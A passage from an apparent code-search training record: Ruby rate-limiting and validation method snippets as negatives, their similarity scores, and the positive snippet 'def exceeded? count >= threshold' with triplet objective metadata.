"def rate_limited?(key, thing, increment: 1)\n # Check whether the bucket actually exists\n return false unless @buckets && @buckets[key]\n\n @buckets[key].rate_limited?(thing, increment: increment)\n end",
"def throttled?\n Sidekiq::Throttled.throttled?(@job)\n end",
"def throttle?(method_name)\n rocket_job_throttles.any? { |throttle| throttle.method_name == method_name }\n end",
"def response_throttled?\n !!node(\"response-throttled\")\n end",
"def available_workers?\n true\n end",
"def limits_ok?\n status = true\n if (@min.exp.to_s.include? '/') || (@max.exp.to_s.include? '/')\n return status\n end\n\n if @min.exp.nil? ^ @max.exp.nil?\n @limit_type = :single_sided\n if @typ.exp\n # status = false\n Origen.log.debug \"Spec #{@name} has a typical limit defined with either min or max. They are mutually exclusive, use 'target' when using min or max\"\n end\n elsif @min.exp && @max.exp\n @limit_type = :double_sided\n # Both min and max must be numerical to compare them\n if @min.value.is_a?(Numeric) && @max.value.is_a?(Numeric)\n # Check that min and max make sense\n if @max.value <= @min.value || @min.value >= @max.value\n status = false\n Origen.log.debug \"Spec #{@name} has min (#{@min.value}) and max (#{@max.value}) reversed\"\n end\n # Check that target is OK\n unless @target.nil?\n if @target.value <= @min.value || @target.value >= @max.value\n status = false\n Origen.log.debug \"Spec #{@name} has a target (#{@target.value}) that is not within the min (#{@min.value}) and max #{@max.value}) values\"\n end\n end\n end\n end\n status\n end",
"def over_limit?\n count > max_calls\n end",
"def disable_rate_limits!\n @rate_limits_disabled = true\n end",
"def on_rate_limit(*)\n disconnect(:rate_limited)\n fail SlackBotManager::ConnectionRateLimited\n end",
"def queue_valid?(options = to_options)\n Retain::Cq.valid?(retain_user_connection_parameters, options)\n end",
"def check_options\n unless @options[:stub]\n STDERR.puts \"Please specify a host to connect to using --host\" unless @options[:host]\n STDERR.puts \"Please specify a model to check using --model\" unless @options[:model]\n return false unless @options[:host] && @options[:model]\n end\n\n true\n end",
"def options_ok?\n end",
"def arguments_valid?\n valid_args = true\n valid_args = false if @options.min > @options.max\n valid_args = false if @options.user && !@options.password\n valid_args = false if @options.password && !@options.user\n valid_args\n end",
"def supports_options?\n return true\n end",
"def allowed_request\n !((request.remote_ip =~ /127\\.0\\.0\\.1/).nil? && (request.remote_ip =~ /128\\.128\\./).nil? && (request.remote_ip =~ /10\\.19\\./).nil?)\n end",
"def rate_limit_status\n get('/account/rate_limit_status.json')\n end",
"def validate!\n raise \"Missing period\" if throttle_period.nil?\n end",
"def fails_threshold?\n return false if sample_size < options.sample_threshold\n\n failure_rate >= options.rate_threshold\n end",
"def rate_limit\n response = self.class.get('/rate_limit', options)\n\n return_value_for response\n end",
"def accept_limitable_token?(token_or_object)\n extract_object_from_options(token_or_object).present?\n end",
"def set_limit(opts)\n opts = check_params(opts,[:limits])\n super(opts)\n end",
"def req_limit_check block=nil\n\t\t\tif @reqs[:cnt] >= @req_limit && Time.now <= @reqs[:next_check]\n\t\t\t # limit reached, execute the optional block and sleep until next_check\n\t\t\t\tsecs = (@reqs[:next_check] - Time.now + 1).to_i\n\t\t\t\tlog? && GLogg.log_d2? && GLogg.log_d2(sprintf( #_\n\t\t\t\t\t\t'Curburger::Request#req_limit_check: Request limit ' + #_\n\t\t\t\t\t\t\"(%u per %usecs) reached.\\n Sleeping %u seconds.\", #_\n\t\t\t\t\t\t@req_limit, @req_time_range, secs)) #_\n\t\t\t\tif block\n\t\t\t\t\tblock.call\n\t\t\t\t\tsecs = (@reqs[:next_check] - Time.now + 1).to_i # recompute\n\t\t\t\t\tlog? && GLogg.log_d3? && GLogg.log_d3(sprintf( #_\n\t\t\t\t\t\t\t'Curburger::Request#req_limit_check: ' + #_\n\t\t\t\t\t\t\t'Block executed, sleeping %usecs.', secs > 0 ? secs : 0)) #_\n\t\t\t\tend\n\t\t\t\tsleep secs if secs > 0\n\t\t\tend\n\t\t\tif Time.now > @reqs[:next_check] # reset the counter\n\t\t\t\tlog? && GLogg.log_d3? && GLogg.log_d3(sprintf( #_\n\t\t\t\t\t\t'Curburger::Request#req_limit_check: Resetting counter ' + #_\n\t\t\t\t\t\t'(%u/%u requests done).', @reqs[:cnt], @req_limit)) #_\n\t\t\t\t@reqs[:cnt], @reqs[:next_check] = 0, Time.now + @req_time_range\n\t\t\tend\n\t\tend",
"def validate_rpm\n if ApiRpmStore.threshold?(@app.id, @app.api_rpm) # 10 request per min\n render json: { help: 'http://prediction.io' }, status: :too_many_requests\n return false\n end\n end",
"def check_global_limit\n if Photo.count >= GLOBAL_LIMIT\n errors[:base] << \"Photos overloading, please contact support\"\n end\n end",
"def ok_to_run?\n # check the limit of max processes, if given\n @max_processes == 0 || ThreadGroup::Default.list.size <= @max_processes\n# !@args['max'] || @pids.size < @args['max']\nend",
"def validate!\n raise Errors::Worker, 'Queue threads must be an Integer.' unless @queue_threads.is_a?(Integer)\n raise Errors::Worker, 'Retry threads must be an Integer.' unless @retry_threads.is_a?(Integer)\n end",
"def try_options\n\t\t\treturn unless request.http_method == :OPTIONS\n\n\t\t\tallow = available_endpoint&.allow\n\t\t\thalt 404 unless allow\n\t\t\tresponse.headers['Allow'] = allow\n\t\tend",
"def validate_booking_options!(options)\n unpermitted_params = []\n required_params = {}\n\n #\n # Set unpermitted parameters and required parameters depending on Bookable options\n #\n\n # Switch :time_type\n case self.booking_opts[:time_type]\n # when :range, we need :time_start and :time_end\n when :range\n required_params[:time_start] = [Time,Date]\n required_params[:time_end] = [Time,Date]\n unpermitted_params << :time\n when :fixed\n required_params[:time] = [Time,Date]\n unpermitted_params << :time_start\n unpermitted_params << :time_end\n when :none\n unpermitted_params << :time_start\n unpermitted_params << :time_end\n unpermitted_params << :time\n end\n\n # Switch :capacity_type\n case self.booking_opts[:capacity_type]\n when :closed\n required_params[:amount] = [Integer]\n when :open\n required_params[:amount] = [Integer]\n when :none\n unpermitted_params << :amount\n end\n\n #\n # Actual validation\n #\n unpermitted_params = unpermitted_params\n .select{ |p| options.has_key?(p) }\n .map{ |p| \"'#{p}'\"}\n wrong_types = required_params\n .select{ |k,v| options.has_key?(k) && (v.select{|type| options[k].is_a?(type)}.length == 0) }\n .map{ |k,v| \"'#{k}' must be a '#{v.join(' or ')}' but '#{options[k].class.to_s}' found\" }\n required_params = required_params\n .select{ |k,v| !options.has_key?(k) }\n .map{ |k,v| \"'#{k}'\" }\n\n #\n # Raise OptionsInvalid if some invalid parameters were found\n #\n if unpermitted_params.length + required_params.length + wrong_types.length > 0\n message = \"\"\n message << \" unpermitted parameters: #{unpermitted_params.join(',')}.\" if (unpermitted_params.length > 0)\n message << \" missing parameters: #{required_params.join(',')}.\" if (required_params.length > 0)\n message << \" parameters type mismatch: #{wrong_types.join(',')}\" if (wrong_types.length > 0)\n raise ActiveBookings::OptionsInvalid.new(self, message)\n end\n\n #\n # Convert options (Date to Time)\n #\n options[:time_start] = options[:time_start].to_time if options[:time_start].present?\n options[:time_end] = options[:time_end].to_time if options[:time_end].present?\n options[:time] = options[:time].to_time if options[:time].present?\n\n # Return true if everything's ok\n true\n end",
"def set_connection_limit(opts)\n opts = check_params(opts,[:limits])\n super(opts)\n end",
"def set_connection_limit(opts)\n opts = check_params(opts,[:limits])\n super(opts)\n end",
"def set_connection_limit(opts)\n opts = check_params(opts,[:limits])\n super(opts)\n end",
"def can_process_cmd?\n settings.queue.empty?\n end",
"def options_valid?\n loaded_config? &&\n output_base_valid? &&\n have_sample_ids? &&\n sample_ids_in_config?\nend",
"def limit; @opts['limit']; end",
"def limits_enabled?\n MSPhysics::Newton::Hinge.limits_enabled?(@address)\n end",
"def twitterapp_ratelimits\n\t\tTwitter.get('/1.1/application/rate_limit_status.json')[:body][:resources]\n\tend",
"def can_work?\n @available_workers.length > 0\n end",
"def request_allowed?(request)\n true\n end",
"def allowed?\n allowed\n end",
"def whitelisted?(spark, options)\n valid_topic?(spark, options) && valid_task?(spark, options)\n end",
"def is_limit_valid?(limit)\n return (limit.class == Float &&\n limit >= 0.0 &&\n limit <= 100.0)\n end",
"def options?\n @method == OPTIONS\n end",
"def is_per_device_acceptance_required\n return @is_per_device_acceptance_required\n end"
] |
[
"0.7787718",
"0.6763194",
"0.67484146",
"0.6716461",
"0.65840083",
"0.65806717",
"0.65694207",
"0.65458375",
"0.6415484",
"0.6365219",
"0.6104319",
"0.6104319",
"0.6083913",
"0.6054671",
"0.60455745",
"0.60069895",
"0.59774965",
"0.59286076",
"0.59110296",
"0.58934224",
"0.58539814",
"0.5850331",
"0.5837174",
"0.5833747",
"0.57799643",
"0.57724136",
"0.5752712",
"0.57465756",
"0.57403094",
"0.5713864",
"0.5707194",
"0.5700796",
"0.5698793",
"0.56986624",
"0.5698265",
"0.5663471",
"0.566216",
"0.5659029",
"0.56361866",
"0.56360096",
"0.56357074",
"0.56332165",
"0.5625805",
"0.56253713",
"0.56177187",
"0.5614728",
"0.56088686",
"0.56041646",
"0.56019855",
"0.55956054",
"0.5594708",
"0.55557597",
"0.5547578",
"0.5528847",
"0.5527986",
"0.5517798",
"0.55141574",
"0.55034804",
"0.54926103",
"0.54896116",
"0.5487567",
"0.54773015",
"0.54741955",
"0.5472724",
"0.5455795",
"0.54513496",
"0.5441783",
"0.544148",
"0.54368734",
"0.5411432",
"0.5410539",
"0.5408287",
"0.5397252",
"0.5396339",
"0.5393303",
"0.5389999",
"0.5387696",
"0.5386845",
"0.53851223",
"0.53741115",
"0.53698367",
"0.5368295",
"0.5367823",
"0.53621835",
"0.53615695",
"0.53573996",
"0.53573996",
"0.53573996",
"0.53564173",
"0.5355549",
"0.5354538",
"0.5352388",
"0.53506917",
"0.53496045",
"0.53468174",
"0.53459716",
"0.53407806",
"0.53391504",
"0.5338836",
"0.5337718"
] |
0.60798067
|
13
|
Check if rate limit has exceeded the threshold.
|
def exceeded?
count >= threshold
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_for_rate_limits\n rate_limit_remaining < 10\n end",
"def limit_reached?\n end",
"def over_limit?\n connect\n redis.incr rate_limiter_key\n redis.get(rate_limiter_key).to_i > limit\n end",
"def rate_limited_exceeded?\n limit = get_json( \"#{ GITHUB_API_URL }/rate_limit\" )[ 'rate' ][ 'remaining' ]\n limit == 0 ? true : false\nend",
"def over_rate_limit?\n window = 10.minutes.ago.to_i\n interval = 30.seconds.to_i\n \n return true if rate_limit.present? and rate_limit > Time.now.to_i\n if rate_limit.nil? or rate_limit < window\n self.rate_limit = window\n end\n self.rate_limit += interval\n self.save!\n false\n end",
"def over_rate_limit?\n window = 10.minutes.ago.to_i\n interval = 30.seconds.to_i\n \n return true if rate_limit.present? and rate_limit > Time.now.to_i\n if rate_limit.nil? or rate_limit < window\n self.rate_limit = window\n end\n self.rate_limit += interval\n self.save!\n false\n end",
"def over_limit?\n count > max_calls\n end",
"def limit_reached?\n @count >= @max\n end",
"def over_limit?\n self.plan.limit.to_i > 0 && self.sms_usage >= self.plan.limit\n end",
"def rate_limit_exceeded\n headers = respond_to?(:retry_after) ? {'Retry-After' => retry_after.to_f.ceil.to_s} : {}\n http_error(options[:code] || 403, options[:message], headers)\n end",
"def check_rate\n if not @intercom.rate_limit_details[:remaining].nil? and @intercom.rate_limit_details[:remaining] < 2\n sleep_time = @intercom.rate_limit_details[:reset_at].to_i - Time.now.to_i\n puts(\"Waiting for #{sleep_time} seconds to allow for rate limit to be reset\")\n sleep sleep_time\n end\n else\n end",
"def check_rate\n if not @intercom.rate_limit_details[:remaining].nil? and @intercom.rate_limit_details[:remaining] < 2\n sleep_time = @intercom.rate_limit_details[:reset_at].to_i - Time.now.to_i\n puts(\"Waiting for #{sleep_time} seconds to allow for rate limit to be reset\")\n sleep sleep_time\n end\n end",
"def fails_threshold?\n return false if sample_size < options.sample_threshold\n\n failure_rate >= options.rate_threshold\n end",
"def limit?\n @headers.key?('x-ratelimit-limit')\n end",
"def rate_limit_check\n status = 200\n result = {}\n if rate_limit_on?\n if rate_limit_left > 0\n status = 429\n result[:error] = \"you need to wait #{rate_limit_left} ms before you can request anything again\"\n render status: status, json: result\n end\n end\n end",
"def rate_limit_exceeded(request)\n options[:rate_limit_exceeded_callback].call(request) if options[:rate_limit_exceeded_callback]\n headers = respond_to?(:retry_after) ? {'Retry-After' => retry_after.to_f.ceil.to_s} : {}\n http_error(options[:code] || 403, options[:message] || 'Rate Limit Exceeded', headers)\n end",
"def below_limit?\n self.live_count < self::LIMIT\n end",
"def check_threshold\n rate = lines.length.to_f / expiry\n if rate > threshold\n alert_status\n elsif rate < threshold\n normal_status\n end\n end",
"def limit_exceeded(amount = 1)\n self if exceeded?(amount)\n end",
"def throttled?\n @throttle >= params[:throttle].value\n end",
"def can_throttle?\n [threshold, period].select(&:zero?).empty?\n end",
"def validate_api_call_count\n if outbound_request?\n data = $redis.get(\"api_call_count_for_#{from}\")\n errors.add(:base, message: \"limit reached for from #{from}\") if data && JSON.parse(data)['count'] > 50\n end\n end",
"def satisfied?\n @options[:limit] > 0 && @count >= @options[:limit]\n end",
"def check_limit\n if pin.photos.count >= LIMIT\n errors[:base] << \"Photos limit reached for this pin\"\n end\n end",
"def over_queue_limit?(message)\n over_limit = (@errors.count { |err| !err.is_internal } >= @capacity)\n if over_limit\n ::NewRelic::Agent.logger.warn(\"The error reporting queue has reached #{@capacity}. The error detail for this and subsequent errors will not be transmitted to New Relic until the queued errors have been sent: #{message}\")\n end\n over_limit\n end",
"def exceeded?(amount = 1)\n used + amount > max\n end",
"def exceeds_limit?(limit_value)\n !!(limit_value && sliced_nodes.limit(limit_value + 1).count > limit_value)\n end",
"def enforce_rate_limit\n allowance = (session[:js_exception_notifier_allowance] || THROTTLE_MAX_RATE).to_f\n last_error_at = (session[:js_exception_notifier_last_error_at] || Time.now).to_i\n\n current_time = Time.now.to_i\n time_passed = current_time - last_error_at\n session[:js_exception_notifier_last_error_at] = current_time\n\n allowance += time_passed * (THROTTLE_MAX_RATE / THROTTLE_DURATION)\n allowance = THROTTLE_MAX_RATE if allowance > THROTTLE_MAX_RATE\n\n if allowance < 1.0\n session[:js_exception_notifier_allowance] = allowance\n if Rails.env.production?\n render json: {}, status: 200\n else\n render json: { text: \"You reached error limit!\" }, status: 422\n end\n else\n session[:js_exception_notifier_allowance] = allowance - 1.0\n end\n end",
"def ensure_rate_limits\n sleep 1 / REQUST_LIMIT_PER_MINUTE.to_f\n end",
"def throttle_exceeded?\n max_active_workers ? (input.active_count >= max_active_workers) : false\n end",
"def check_limit\n if user.pins.count >= user.pins_limit\n errors[:base] << \"Pins limit reached\"\n end\n end",
"def check_threshold\n max_threshold = @assignment.review_topic_threshold\n # Assignment.find_by_sql([\"SELECT review_topic_threshold FROM pg_development.assignments WHERE assignments.id =?\",assign.id])\n num_reviews = ResponseMap.find_by_sql([\"SELECT * FROM response_maps rm where rm.reviewed_object_id =? AND rm.reviewee_id=?\", @assignment.id, @map.reviewee_id]).count\n max_threshold = 5 if max_threshold == 0 || max_threshold.nil?\n\n if num_reviews < (max_threshold / REARRANGING_FACTOR)\n return true\n else\n return false\n end\n end",
"def upload_limit_reached?\n self.uploads.sum(:file_file_size) > UPLOAD_LIMIT\n end",
"def handle_rate_limit(&block)\n begin\n block.call\n rescue Twitter::Error::TooManyRequests => error\n wait_time = error.rate_limit.reset_in + 10\n if @verbose\n minutes = wait_time / 60\n puts\n puts \"RATE LIMIT HIT: Wait #{minutes} minutes.\"\n end\n countdown(wait_time)\n retry\n end\n end",
"def should_be_limited?\n @options[:limit] == true or (@options[:limit].is_a?(Fixnum) and @options[:limit] > 0)\n end",
"def has_limit?\n !@options[:limit].blank?\n end",
"def rate_limit\n new_request=RequestLimit.new({ip:request.remote_ip.to_s})\n\n # create a new record of RequestLimit to keep count of the incomming requests\n new_request.save\n\n # Check if current request exceeds max limit specified\n\n if RequestLimit.all.size > RequestLimit::MAX_LIMIT\n\n # Calculate the Time till the count will get reset\n time_left=(Time.now.end_of_hour).to_i-(Time.now).to_i\n render status: 429, json: { message: \"Rate limit exceeded. Try again in #{time_left} seconds\" } ## response when limit is exceeded\n end\n end",
"def above_threshold?\n real_time >= Metrics.method_call_threshold\n end",
"def limited?\n\t\t\t(Time.new - last_run) < interval\n\t\tend",
"def below_threshold?\n coverage < threshold\n end",
"def limit?() @limit; end",
"def check_total_charges_limit\n check_charges_limit([validate_total_limit])\n end",
"def rate_limit_available?(env)\n env.key?(rack_attack_key) && (env[rack_attack_key].keys & throttle).any?\n end",
"def beta_limit_reached?\n if User.count >= BETA_LIMIT\n errors[:base] << \"We do not accept more users at this time.\"\n end\n end",
"def rate_limit_interval\n interval = ENV['RATE_LIMIT_INTERVAL'].to_i\n interval > 0 ? interval : 1\n end",
"def eligible?(n)\n n < @limit\n end",
"def rate_limit_limit(throttle_data)\n throttle_data[:limit]\n end",
"def rate_limit!(namespace, limit: 5, minutes: 5)\n request_time = DateTime.now\n log_path = Rails.root.join(\"tmp/rate_limits/#{namespace}.log\")\n\n unless File.exist?(log_path)\n FileUtils.mkdir_p(File.dirname(log_path))\n FileUtils.touch(log_path)\n timestamp = request_time.strftime('%Y-%m-%dT%H:%M:%S%Z')\n count = 0\n File.write(log_path, \"#{timestamp} #{count}\")\n end\n\n # Check if log is in limit state\n log = File.open(log_path, 'r')\n timestamp, count = log.read.chomp.split\n time = DateTime.parse(timestamp, '%Y-%m-%dT%H:%M:%S%Z')\n count = count.to_i\n\n if time < (request_time - minutes.minutes)\n # Time window expired - reset\n timestamp = request_time.strftime('%Y-%m-%dT%H:%M:%S%Z')\n count = 1\n else\n # Current time window\n count += 1\n\n if count > limit\n flash[:alert] = 'Too many recent requests. Please try again later.'\n render(status: :too_many_requests)\n timestamp = DateTime.now.strftime('%Y-%m-%dT%H:%M:%S%Z') # Refresh timestamp\n File.write(log_path, \"#{timestamp} #{count}\")\n return false\n end\n end\n\n # Update log and allow request to proceed\n File.write(log_path, \"#{timestamp} #{count}\")\n end",
"def past_time_threshold?\n return true if @past_time_threshold # no need to check again once past\n @past_time_threshold = (Time.now-@start_time) >= N_PLUS_ONE_TIME_THRESHOLD\n end",
"def rate_limit\n return nil unless @client\n\n t = Time.now\n limit = API.cache[\"rate_limits/users/#{@client.key}\"]\n if limit.nil? or limit[0] <= t.to_i\n # Reset limit\n limit = [t.to_i + INTERVAL, REMAINING]\n end\n\n # Update limit\n limit[1] = limit[1] - 1\n\n if limit[1] <= 0\n # Limit exceeded\n raise API::RateLimitError, \"rate limit exceeded (#{REMAINING}/#{INTERVAL} seconds)\"\n end\n\n # Store limit\n API.cache.store(\"rate_limits/users/#{@client.key}\", limit, :ttl => limit[0] - t.to_i)\n \n # Set rate limit headers\n response['X-RateLimit-Limit'] = REMAINING.to_s\n response['X-RateLimit-Remaining'] = limit[1].to_s\n response['X-RateLimit-Reset'] = Time.at(limit[0]).xmlschema\n\n true\n end",
"def validate_time_limit\n return if duplicating? ||\n time_limit.nil? ||\n (time_limit > 0 && time_limit <= max_time_limit)\n\n errors.add(:base, \"Time limit needs to be a positive integer less than or equal to #{max_time_limit} seconds\")\n\n nil\n end",
"def above_threshold?\n real_time.in_milliseconds >= ::Gitlab::Metrics.method_call_threshold\n end",
"def before\n endpoint = env['api.endpoint']\n logger = options[:logger] || Logger.new($stdout)\n\n return unless throttle_options = endpoint.route_setting(:throttle)\n\n limit, period = find_limit_and_period(throttle_options)\n\n check_limit_and_period(limit, period)\n\n limit = limit.call(env) if limit.is_a?(Proc)\n return true if limit.negative?\n\n user_value = find_user_value(options) || \"ip:#{env['REMOTE_ADDR']}\"\n rate_key = generate_rate_key(endpoint, user_value)\n\n begin\n redis = options[:cache]\n redis.ping\n\n current = redis.get(rate_key).to_i\n\n if !current.nil? && current >= limit\n endpoint.error!('Too Many Requests', 429)\n else\n redis.multi do\n redis.set(rate_key, COUNTER_START, nx: true, ex: period.to_i)\n redis.incr(rate_key)\n end\n end\n rescue StandardError => e\n logger.warn(e.message)\n end\n end",
"def response_throttled?\n !!node(\"response-throttled\")\n end",
"def ensure_user_plan_limit_not_reached\n if @current_user.is_employee? || @person.is_employee?\n return\n end\n\n userplanservice = UserPlanService::Api.new\n @current_user_max_trusted_users = userplanservice.get_plan_feature_level(@current_user, :company_trusted_users)[:value]\n @other_company_max_trusted_users = userplanservice.get_plan_feature_level(@person, :company_trusted_users)[:value]\n current_user_followed_count = @current_user.followed_people.count\n other_company_followers_count = @person.followers.count\n\n # current user has reached followed limit\n if current_user_followed_count >= @current_user_max_trusted_users\n #@max_followed_reached = true\n flash[:error] = t('people.show.followed_limit_reached2', :link => get_wp_url('pricing')).html_safe\n respond_to do |format|\n format.html { redirect_to :back }\n format.js { render :partial => \"people/max_followers_reached\" }\n end\n return\n end\n\n # other company has reached followers limit\n if other_company_followers_count >= @other_company_max_trusted_users\n #@max_follower_reached = true\n flash[:error] = t('people.show.followers_limit_reached').html_safe\n respond_to do |format|\n format.html { redirect_to :back }\n format.js { render :partial => \"people/max_followers_reached\" }\n end\n end\n return\n end",
"def limits?\n out=@linker.call(\"account\",\"limits\")\n if(out[\"status\"].to_sym == :success)\n return out[\"usage\"]\n else\n return nil\n end\n end",
"def verify_limits(value, limit1, limit2) #method\n value = get_value(value)\n if !value.between?(limit1, limit2)\n puts \"Fatal Error: #{value} exceeds limit.\"\n exit\n end\n end",
"def throttle?\n false\n end",
"def rate_limited?\n tries = redis.get(key=\"tries:#{@env['REMOTE_ADDR']}\").to_i\n\n if tries > 10\n true\n else\n # give the key a new value and tell it to expire in 30 seconds\n redis.set(key, tries+1)\n redis.expire(key, 30)\n false\n end\n end",
"def rate_limit_calls\n calls = ENV['RATE_LIMIT_CALLS'].to_i\n calls > 0 ? calls : 5\n end",
"def low_balance?\n balance < low_balance_threshold\n end",
"def check_seconds_behind\n return true if Integer(@status['Seconds_Behind_Master']) < @threshold\n end",
"def check_value\n if var == \"limit\" && value.to_i < 1\n raise \"Limit should be at least 1\"\n end\n end",
"def rate_limit\n options[:rate_limit]\n end",
"def response_times_ok?\n if response_times.size > 0\n average_response_time <= threshold\n else\n true\n end\n end",
"def throttled?(key, scope:, threshold: nil, users_allowlist: nil, peek: false)\n raise InvalidKeyError unless rate_limits[key]\n\n return false if scoped_user_in_allowlist?(scope, users_allowlist)\n\n threshold_value = threshold || threshold(key)\n\n return false if threshold_value == 0\n\n interval_value = interval(key)\n # `period_key` is based on the current time and interval so when time passes to the next interval\n # the key changes and the rate limit count starts again from 0.\n # Based on https://github.com/rack/rack-attack/blob/886ba3a18d13c6484cd511a4dc9b76c0d14e5e96/lib/rack/attack/cache.rb#L63-L68\n period_key, time_elapsed_in_period = Time.now.to_i.divmod(interval_value)\n cache_key = cache_key(key, scope, period_key)\n\n value = if peek\n read(cache_key)\n else\n increment(cache_key, interval_value, time_elapsed_in_period)\n end\n\n value > threshold_value\n end",
"def rate_limit_remaining\n connection.rate_limit_remaining\n end",
"def error_threshold\n @error_threshold ||= 100\n end",
"def no_more_retry?\n retried >= max_retry\n end",
"def exceeded? subject\n subject_key = \"#{@key}:#{subject}\"\n return false if @redis.llen(subject_key) < @limit\n time_since_oldest(subject_key) < @interval\n end",
"def rate_limited?(thing, rate_limit_time = nil, increment: 1)\n key = resolve_key thing\n limit_hash = @bucket[key]\n\n # First case: limit_hash doesn't exist yet\n unless limit_hash\n @bucket[key] = {\n last_time: Time.now,\n set_time: Time.now,\n count: increment\n }\n\n return false\n end\n\n # Define the time at which we're being rate limited once so it doesn't get inaccurate\n rate_limit_time ||= Time.now\n\n if @limit && (limit_hash[:count] + increment) > @limit\n # Second case: Count is over the limit and the time has not run out yet\n return (limit_hash[:set_time] + @time_span) - rate_limit_time if @time_span && rate_limit_time < (limit_hash[:set_time] + @time_span)\n\n # Third case: Count is over the limit but the time has run out\n # Don't return anything here because there may still be delay-based limiting\n limit_hash[:set_time] = rate_limit_time\n limit_hash[:count] = 0\n end\n\n if @delay && rate_limit_time < (limit_hash[:last_time] + @delay)\n # Fourth case: we're being delayed\n (limit_hash[:last_time] + @delay) - rate_limit_time\n else\n # Fifth case: no rate limiting at all! Increment the count, set the last_time, and return false\n limit_hash[:last_time] = rate_limit_time\n limit_hash[:count] += increment\n false\n end\n end",
"def fault_tolerance_excess?\n is_failed = fault_tolerance_groups.select { |group| group['fault_tolerance'] < 0 }\n return false if is_failed.empty?\n warn \"Fault tolerance exceeded the stop conditions #{is_failed}\"\n true\n end",
"def on_rate_limit(*)\n disconnect(:rate_limited)\n fail SlackBotManager::ConnectionRateLimited\n end",
"def tokens_is_upper_limit_reahed?\n self.class.token_limiter.upper_limit_reahed?\n end",
"def cashed_events_limit_not_reached?(max)\n max ? self.cashed_events_count < max : true\n end",
"def rate_limit\n connection.rate_limit\n end",
"def two_factor_failure_count_exceeded?\n self.two_factor_failure_count >= 5\n end",
"def within_storage_limit?\n #return true if @homebase.plan.priveleges.find(2).plan_limit.to_i == 0\n #return true if @homebase.total_files.to_f/1024.kilobytes <= @homebase.plan.priveleges.find(2).plan_limit.to_i\n return true if @homebase.within_storage_limit?\n return false\n end",
"def loadAveragewatchdog(loadaverage,maxloadaverage)\n if loadaverage.to_f >= maxloadaverage.to_f\n return true\n end\n return false\nend",
"def throttle?(timestamp, last_timestamp)\n timestamp - last_timestamp <= FREQUENCY_LIMIT\n end",
"def throttled?\n Throttled.throttled? job\n end",
"def threshold\n @threshold || 95\n end",
"def below_user_limit?(user, additional_items)\n if purchase_limit == 0\n true\n else\n current_count = current_count(user, additional_items)\n current_count < purchase_limit\n end\n end",
"def req_limit_check block=nil\n\t\t\tif @reqs[:cnt] >= @req_limit && Time.now <= @reqs[:next_check]\n\t\t\t # limit reached, execute the optional block and sleep until next_check\n\t\t\t\tsecs = (@reqs[:next_check] - Time.now + 1).to_i\n\t\t\t\tlog? && GLogg.log_d2? && GLogg.log_d2(sprintf( #_\n\t\t\t\t\t\t'Curburger::Request#req_limit_check: Request limit ' + #_\n\t\t\t\t\t\t\"(%u per %usecs) reached.\\n Sleeping %u seconds.\", #_\n\t\t\t\t\t\t@req_limit, @req_time_range, secs)) #_\n\t\t\t\tif block\n\t\t\t\t\tblock.call\n\t\t\t\t\tsecs = (@reqs[:next_check] - Time.now + 1).to_i # recompute\n\t\t\t\t\tlog? && GLogg.log_d3? && GLogg.log_d3(sprintf( #_\n\t\t\t\t\t\t\t'Curburger::Request#req_limit_check: ' + #_\n\t\t\t\t\t\t\t'Block executed, sleeping %usecs.', secs > 0 ? secs : 0)) #_\n\t\t\t\tend\n\t\t\t\tsleep secs if secs > 0\n\t\t\tend\n\t\t\tif Time.now > @reqs[:next_check] # reset the counter\n\t\t\t\tlog? && GLogg.log_d3? && GLogg.log_d3(sprintf( #_\n\t\t\t\t\t\t'Curburger::Request#req_limit_check: Resetting counter ' + #_\n\t\t\t\t\t\t'(%u/%u requests done).', @reqs[:cnt], @req_limit)) #_\n\t\t\t\t@reqs[:cnt], @reqs[:next_check] = 0, Time.now + @req_time_range\n\t\t\tend\n\t\tend",
"def throttle_running_jobs_exceeded?\n throttle_running_jobs &&\n (throttle_running_jobs != 0) &&\n (self.class.running.where(:id.ne => id).count >= throttle_running_jobs)\n end",
"def is_limit_valid?(limit)\n return (limit.class == Float &&\n limit >= 0.0 &&\n limit <= 100.0)\n end",
"def check_limit\n if pin.comments.count >= LIMIT\n errors[:base] << \"Comments limit reached\"\n end\n end",
"def limit\n @timeout\n end",
"def is_throttled(unique_id)\n rules\n .map do |rule|\n is_over = rule.throttler.usage_count_for(unique_id) > rule.limit\n is_over ? rule.throttler.when_does_next_period_start? : nil\n end\n .compact\n .max\n end",
"def limits_enabled?\n MSPhysics::Newton::Hinge.limits_enabled?(@address)\n end",
"def unfollow_threshold_past?(last_time)\n days = @unfollow_threshold[:days] ||= 0\n hours = @unfollow_threshold[:hours] ||= 0\n minutes = @unfollow_threshold[:minutes] ||= 0\n seconds = @unfollow_threshold[:seconds] ||= 0\n\n total_in_seconds = days * 86_400 + hours * 3600 + minutes * 60 + seconds\n ((Time.now - last_time) / total_in_seconds) >= 1\n end",
"def check_rate_limit(ids)\n if ids.length >= 40\n MovieDB::Support::Reporting.warn(<<-MSG.strip!)\n Reduce the amount of IMDb ids. \\nYou have exceeded the rate limit.\n MSG\n else\n MovieDB::Support::Reporting.silenced\n end\n end",
"def rate_limit_remaining(throttle_data)\n rate_limit_limit(throttle_data) - throttle_data[:count]\n end",
"def overlimit_protection\n reqs = customer.current_contract_clearinghouse_requests\n message = \"has passed the allowed limit for clearinghouse submissions for current contract\"\n errors.add(:customer_id, message) if reqs.size >= customer.clearinghouse_number_of_submissions_allowed\n end",
"def tokens_is_lower_limit_reahed?\n self.class.token_limiter.lower_limit_reahed?\n end",
"def check_maximum_in_contest\n if self.contest.blank?\n if ContestAttachment.where(contest_attachment_group_id: self.contest_attachment_group_id).count >= MAXIMUM_IN_CONTEST\n errors.add(:maximum, I18n.t('contest_attachment.create.error.maximum_reached', maximum: MAXIMUM_IN_CONTEST))\n end\n else\n if self.contest.attachments.count >= MAXIMUM_IN_CONTEST\n errors.add(:maximum, I18n.t('contest_attachment.create.error.maximum_reached', maximum: MAXIMUM_IN_CONTEST))\n end\n end\n end",
"def exceeds_upload_limit?(attempted_bytes=0)\n self.upload_size_this_month + attempted_bytes >= Rails.application.secrets.monthly_upload_byte_limit\n end",
"def check_global_limit\n if Photo.count >= GLOBAL_LIMIT\n errors[:base] << \"Photos overloading, please contact support\"\n end\n end",
"def throttle_response?(ban_wagon, &block)\n return false unless Rails.env.production? || ENV['RATE_LIMITING']\n\n return false unless ban_wagon.rate_limit do |name|\n Raven.capture_message('User triggered ban',\n tags: { type: 'ban', ban_type: name },\n level: 'warning')\n end\n\n render_throttle_response(&block)\n true\n end",
